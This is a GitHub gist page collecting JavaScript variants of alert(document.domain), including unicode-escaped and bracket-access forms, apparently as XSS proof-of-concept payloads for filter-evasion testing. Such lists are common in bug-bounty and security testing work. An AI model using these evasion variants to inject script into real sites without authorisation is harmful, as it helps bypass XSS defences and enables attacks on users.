Skip to content

Instantly share code, notes, and snippets.

View kac89's full-sized avatar
🌑
Working from home

Kacper Rybczyński kac89

🌑
Working from home
View GitHub Profile
@kac89
kac89 / alert.js
Created March 17, 2021 12:53 — forked from tomnomnom/alert.js
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);